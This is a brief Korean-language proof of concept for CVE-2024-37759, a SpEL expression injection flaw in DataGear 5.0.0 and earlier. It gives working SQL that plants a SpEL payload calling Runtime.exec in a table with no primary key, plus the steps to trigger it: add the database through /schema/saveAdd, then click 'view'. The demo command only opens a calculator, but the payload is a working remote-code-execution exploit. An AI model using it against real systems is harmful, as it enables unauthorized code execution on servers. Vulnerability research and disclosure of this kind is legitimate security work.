CVE-2024-37759 PoC

설명

DataGear 5.0.0 이하 버전에는 원격 코드 실행으로 이어지는 SpEL 표현식 주입 취약점이 있습니다.

익스플로잇

CVE 익스플로잇 세부 정보

/data/{schemaId}/{tableName}/view 인터페이스를 요청할 때, 데이터베이스 테이블에 기본 키가 없으면 공격자는 data 필드에 악의적인 SpEL 표현식을 주입할 수 있습니다. "view" 버튼을 클릭하면 SpEL 표현식이 실행됩니다.

공격을 수행하려면 다음과 같이 악의적인 데이터베이스 테이블을 생성할 수 있습니다:

CREATE DATABASE evil;

CREATE TABLE `evil` (
  `name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");

그런 다음 로그인하여 스키마 추가 인터페이스에서 이 MySQL 데이터베이스를 추가합니다: /schema/saveAdd. 그 후 "view" 버튼을 클릭하면 SpEL 표현식이 실행됩니다.